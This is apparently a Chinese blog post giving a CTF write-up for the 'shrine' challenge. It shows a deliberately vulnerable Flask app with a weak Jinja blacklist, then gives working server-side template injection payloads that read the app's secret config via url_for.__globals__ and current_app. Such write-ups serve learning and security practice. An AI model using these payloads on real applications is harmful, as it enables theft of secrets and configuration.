shrine

打开网页,即可获得源代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

发现app里有一个叫做FLAG的config,猜测这个就是flag

观察源码,得知路径是/shrine,且过滤了左右小括号和config与self两个词

我们可以先用http://220.249.52.133:34483/shrine/{{7+7}}进行测试,返回14,7+7被运行

之后我们将利用两个python的内置函数url_for和get_flashed_messages

首先http://220.249.52.133:34483/shrine/{{url_for.__globals__}}

 

 我们就可以用这个current_app

运行http://220.249.52.133:34483/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}得到flag:

flag{shrine_is_good_ssti}

posted @ 2020-12-08 14:59  hktk1643  阅读(136)  评论(0编辑  收藏  举报